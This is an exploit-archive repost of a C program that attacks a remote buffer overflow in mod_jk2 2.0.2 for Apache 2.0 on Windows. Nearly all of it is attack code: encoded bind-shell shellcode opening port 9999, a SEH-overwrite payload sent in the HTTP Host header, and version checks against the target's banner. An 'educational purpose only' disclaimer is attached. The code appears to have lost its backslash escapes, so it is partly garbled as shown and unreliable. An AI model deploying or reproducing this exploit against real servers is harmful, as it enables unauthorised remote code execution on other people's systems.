[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : mod_jk2 v2.0.2 for Apache 2.0 Remote Buffer Overflow Exploit (win32)
# Published : 2008-03-31
# Author : Heretic2
# Previous Title : ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite Exploit
# Next Title : Linksys WRT54G (firmware 1.00.9) Security Bypass Vulnerabilities
/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : mod_jk2 v2.0.2 for Apache 2.0 Win32
* Found by : IOActive Security Advisory
* ----------------------------------------
* Exploit : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)
* Exploit date : 01.03.2008 - 02.03.2008
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows ALL
* Crew : Dreatica-FXP
* ----------------------------------------
* Info : Exploit was found by IOActive Security Advisory, trivial exploit for win32.
* The only problem here is that the mod_jk2 forstly downcase all letter in Host
* header request, Metasploit v3 have solutions for this case:
* 1. Use non-upper encoder
* 2. Use non-alpha encoder
* i used the first variant here. and all is working good.
* ----------------------------------------
* Thanks to:
* 1. IOActive Security Advisory ( )
* 2. The Metasploit project ( http://metasploit.com )
* 3. Dreatica-FXP crew ( )
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
************************************************************************************
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ctime>
#pragma comment(lib,"ws2_32")
void usage(char * s);
void logo();
void end_logo();
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);
int get_version(char * remotehost, int port, int * itarget);
int validate_args(char * remotehost, int port, int sh, int itarget);
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
SOCKET do_connect (char *remotehost, int port);
// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg; // global argument pointer
int optind = 0, opterr; // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------
struct _target{
const char *t ;
unsigned long ret ;
} targets[]=
{
{"mod_jk2/2.0.2 for Apache 2.0.48", 0x100115c3 },// pop,pop,ret
{NULL, 0x00000000 }
};
struct {
const char * name;
int length;
char * shellcode;
}shellcodes[]={
{"Bindshell, port 9999", 461,
/*
* windows/shell_bind_tcp - 461 bytes
* http://www.metasploit.com
* Encoder: x86/nonalpha
* EXITFUNC=seh, LPORT=9999
*/
"x66xb9xffxffxebx19x5ex8bxfex83xc7x6cx8bxd7x3b"
"xf2x7dx0bxb0x7bxf2xaexffxcfxacx28x07xebxf1xeb"
"x71xe8xe2xffxffxffx11x2ex0fx36x03x2cx32x07x27"
"x06x15x30x0fx1ax17x38x0bx13x2dx2bx15x28x15x13"
"x13x04x08x27x13x2bx15x26x11x13x24x28x28x28x28"
"x28x38x28x38x28x15x13x15x28x13x0bx24x11x2ax26"
"x13x24x28x26x13x32x32x24x2bx27x27x26x13x02x02"
"x24x26x15x11x17x15x13x18x0ex11x2bx22x11x37x39"
"x39x01x13x09x06x37x24x29x2ax2ax2ax11x2ax2ax26"
"x2ax13x28x11x24x17x29x13x28xfcx7bxebx7bxe8xf9"
"xffxffxffx60x8bx7bx24x24x8bx7bx3cx8bx7cx05x7b"
"x01xefx8bx7bx18x8bx5fx20x01xebx7bx8bx34x8bx01"
"xeex31xc0x99xacx84xc0x7bx07xc1xcax0dx01xc2xeb"
"xf4x3bx7bx24x28x7bxe5x8bx5fx24x01xebx7bx8bx0c"
"x7bx8bx5fx1cx01xebx03x2cx8bx89x7bx24x1cx7bxc3"
"x31xdbx7bx8bx7bx30x8bx40x0cx8bx7bx1cxadx8bx40"
"x08x5ex7bx8ex7bx0execx7bxffxd6x7bx7bx7bx7bx33"
"x32x7bx7bx7bx32x5fx7bxffxd0x7bxcbxedxfcx3bx7b"
"xffxd6x5fx89xe5x7bx81xedx08x02x7bx7bx02xffxd0"
"x7bxd9x09xf5xadx7bxffxd6x7bx7bx7bx7bx7bx7bx7b"
"x7bx7bxffxd0x7bx7bx27x0fx7bx7bx89xe1x95x7bxa4"
"x1ax7bxc7x7bxffxd6x7bx10x7bx7bxffxd0x7bxa4xad"
"x2exe9x7bxffxd6x7bx7bxffxd0x7bxe5x7bx86x7bx7b"
"xffxd6x7bx7bx7bx7bxffxd0x93x7bxe7x7bxc6x7bx7b"
"xffxd6x7bxffxd0x7bx7bx7bx7bx7bx7bx7bx89xe5x7b"
"x7bx7bx29xccx89xe7x7bx7bx89xe2x31xc0xf3xaaxfe"
"x7bx2dxfex7bx2cx93x8dx7bx38xabxabxabx7bx7bxfe"
"xb3x16xffx7bx7bxffxd6x5bx7bx7bx7bx7bx7bx7bx01"
"x7bx7bx7bx7bxffxd0x7bxadxd9x05xcex7bxffxd6x7b"
"xffxffx37xffxd0x8bx7bxfcx83xc4x7bxffxd6x7bxff"
"xd0x7bxf0x8ax04x5fx7bxffxd6xffxd0"
},
{NULL , NULL }
};
int main(int argc, char **argv)
{
char * remotehost=NULL;
char default_remotehost[]="127.0.0.1";
char temp1[100], temp2[100];
int port, itarget, x, sh;
SOCKET s;
char c;
int option_index=0;
logo();
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
if(argc<2)
{
usage(argv[0]);
return -1;
}
// set defaults
port=80;
itarget=-1;
sh=0;
// ------------
while((c = getopt(argc, argv, "h:p:"))!= EOF)
{
switch (c)
{
case 'h':
remotehost=optarg;
break;
case 'p':
sscanf(optarg, "%d", &port);
break;
default:
usage(argv[0]);
WSACleanup();
return -1;
}
}
if(remotehost == NULL) remotehost=default_remotehost;
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
memset(temp1, 'x20' , 58 - strlen(remotehost) -1);
printf(" # Host : %s%s# n", remotehost, temp1);
sprintf(temp2, "%d", port);
memset(temp1,0,sizeof(temp1));
memset(temp1, 'x20' , 58 - strlen(temp2) -1);
printf(" # Port : %s%s# n", temp2, temp1);
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
sprintf(temp2, "%s", shellcodes[sh].name );
memset(temp1, 'x20' , 58 - strlen(temp2) -1);
printf(" # Payload : %s%s# n", temp2, temp1);
printf(" # ------------------------------------------------------------------- # n");
fflush(stdout);
printf(" [+] Checking if server is onlinen");
fflush(stdout);
s=do_connect(remotehost, port);
if(s==-1)
{
printf(" [-] Server is OFFLINEn");
end_logo();
return 0;
}
closesocket(s);
printf(" [+] Server is ONLINEn");
x = get_version(remotehost, port, &itarget);
if(x<0)
{
printf(" [-] Cannot exploit due to errorsn");
WSACleanup();
end_logo();
return -1;
}
unsigned char buf[10000];
unsigned int len;
memset(buf,0,sizeof(buf));
fflush(stdout);
make_buffer(buf, &len, itarget, sh);
printf(" [+] Attacking buffer constructedn");
if(send_buffer(buf, len, remotehost,port)==-1)
{
printf(" [-] Cannot exploit server %sn", remotehost);
end_logo();
WSACleanup();
return -1;
}
printf(" [+] Buffer sentn");
printf(" [+] Connect to %s:%dn", remotehost, 9999);
end_logo();
WSACleanup();
return 0;
}
SOCKET do_connect (char *remotehost, int port)
{
static struct hostent *host;
static struct sockaddr_in addr;
SOCKET s;
host = gethostbyname(remotehost);
if (!host)
{
perror(" [-] gethostbyname() failed");
return -1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
s = socket(PF_INET, SOCK_STREAM, 0);
if (s == -1)
{
closesocket(s);
perror("socket() failed");
return -1;
}
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
closesocket(s);
return -1;
}
return s;
}
int get_version(char * remotehost, int port, int * target)
{
char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];
int bytes,j,x;
SOCKET sock;
memset(bufmax,0,sizeof(bufmax));
memset(WebBanner,0,sizeof(WebBanner));
memset(Version,0,sizeof(Version));
memset(ModJK,0,sizeof(ModJK));
sock = do_connect(remotehost, port);
if (sock == -1) return -1;
send(sock, "GET /a.html HTTP/1.0rnrn",(int)strlen("GET /a.html HTTP/1.0rnrn"),0);
if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;
bufmax[sizeof(bufmax)-1]=0;
if((lp=strstr(bufmax,"Server:"))==NULL) return -1;
if((lp2=strstr(lp,"rn"))==NULL) return -1;
strncpy(WebBanner, lp, lp2-lp);
if((lp=strstr(WebBanner,"Win32"))==NULL)
{
printf(" [-] OS is not a Win32n");
return -1;
}
if((lp=strstr(WebBanner,"Apache/"))==NULL)
{
printf(" [-] No Apachen");
return -1;
}
if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;
lp+=strlen("Apache/");
if((lp2=strstr(lp," "))==NULL) return -1;
strncpy(Version, lp, lp2-lp);
printf(" [+] Version of Apache is %sn", Version);
x=0;
for(j=0; targets[j].t!=0;j++)
{
if(strstr(targets[j].t,Version)!=NULL)
{
x=1;
break;
}
}
if(x==0)
{
printf(" [-] This version of Apache is UNSUPPORTEDn");
return -1;
}
printf(" [+] This version of Apache is SUPPORTEDn");
strncpy(WebBanner, lp, lp2-lp);
if((lp=strstr(WebBanner,"mod_jk2/"))==NULL)
{
printf(" [-] No mod_jk2n");
return -1;
}
if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);
strncpy(ModJK, lp, lp2-lp);
printf(" [+] mod_jk2 is %sn", ModJK);
x=0;
for(j=0; targets[j].t!=0;j++)
{
if(strstr(targets[j].t,ModJK)!=NULL)
{
*target=j;
x=1;
break;
}
}
if(x==0)
{
printf(" [-] This version of mod_jk2 is UNSUPPORTEDn");
return -1;
}
printf(" [+] This version of mod_jk2 is SUPPORTEDn");
return 0;
}
void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)
{
memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
*fshlength = shellcodes[sh].length;
}
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)
{
// prepare shellcode
unsigned char fsh[10000];
unsigned int fshlength;
memset(fsh, 0, sizeof(fsh));
prepare_shellcode(fsh, &fshlength, sh);
// -----------------
// make buffer
unsigned char * cp=buf;
// begin of the HTTP request
memcpy(cp, "GET / HTTP/1.0rnHost: ", strlen("GET / HTTP/1.0rnHost: ") );
cp+=strlen((char *)cp);
// jff
*cp++='x90';
*cp++='x90';
*cp++='x90';
*cp++='x90';
// overflowing
memset(cp, 'x41', 5001);
// put the shellcode
memcpy(cp, fsh, fshlength);
cp+=1271;
// calculating backward jump
int jmp_bytes=0xffffffff - (1275);
// putting backward jump
*cp++ = 'xe9';
*cp++ = (char)((jmp_bytes ) & 0xff);
*cp++ = (char)((jmp_bytes >> 8) & 0xff);
*cp++ = (char)((jmp_bytes >> 16) & 0xff);
*cp++ = (char)((jmp_bytes >> 24) & 0xff);
// next SEH record and back jump
*cp++='x90';
*cp++='x90';
*cp++='xeb';
*cp++='xf7';
// replace SEH
*cp++ = (char)((targets[itarget].ret ) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 8) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
// trigger exception
cp+=3000;
// copy the last part of the request
memcpy(cp, "rnrn", strlen("rnrn") );
cp+=strlen((char *)cp);
}
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)
{
SOCKET sock;
sock = do_connect(remotehost, port);
if (sock<0) return -1;
if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;
closesocket(sock);
return 1;
}
// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
next = NULL;
optarg = NULL;
if (next == NULL || *next == ' ')
{
if (optind == 0)
optind++;
if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == ' ')
{
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
if (strcmp(argv[optind], "--") == 0)
{
optind++;
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
next = argv[optind];
next++; // skip past -
optind++;
}
char c = *next++;
char *cp = strchr(optstring, c);
if (cp == NULL || c == ':')
return '?';
cp++;
if (*cp == ':')
{
if (*next != ' ')
{
optarg = next;
next = NULL;
}
else if (optind < argc)
{
optarg = argv[optind];
optind++;
}
else
{
return '?';
}
}
return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------
void usage(char * s)
{
printf("n");
printf(" Usage: %s -h <host> -p <port>n", s);
printf(" -------------------------------------------------------------------n");
printf(" Arguments:n");
printf(" -h ........ host to attackn");
printf(" -p ........ port to usen");
printf("n");
printf(" Supported mod_jk versions:n");
for(int j=0; targets[j].t!=0;j++)
{
printf(" %d. %sn",j+1, targets[j].t);
}
printf("n");
printf(" Execution: %snn", shellcodes[0].name);
end_logo();
}
void logo()
{
printf("nn");
printf(" ####################################################################### n");
printf(" # ____ __ _ ______ __ _____ #n");
printf(" # / __ \________ _____/ /_(_)_________ / __/\ \/ / / _ / #n");
printf(" # / / / / ___/ _ \/ __ / __/ / ___/ __ / ___ / / \ / / // / #n");
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \ / ___/ #n");
printf(" # /_____/_/ \___/ \_,_/\__/_/\___/\__,_/ /_/ /_/\_\/_/ #n");
printf(" # crew #n");
printf(" ####################################################################### n");
printf(" # Exploit : mod_jk2 v2.0.2 for Apache 2.0 # n");
printf(" # Author : Heretic2 # n");
printf(" # THANKS : IOActive and The Metasploit Project # n");
printf(" # Research: IOActive Security Advisory # n");
printf(" # Version : 1.0 # n");
printf(" # System : Windows ALL # n");
printf(" # Date : 01.03.2008 - 02.03.2008 # n");
printf(" # ------------------------------------------------------------------- # n");
}
void end_logo()
{
printf(" # ------------------------------------------------------------------- # n");
printf(" # Dreatica-FXP crew [Heretic2] # n");
printf(" ####################################################################### nn");
}
// www.Syue.com [2008-03-31]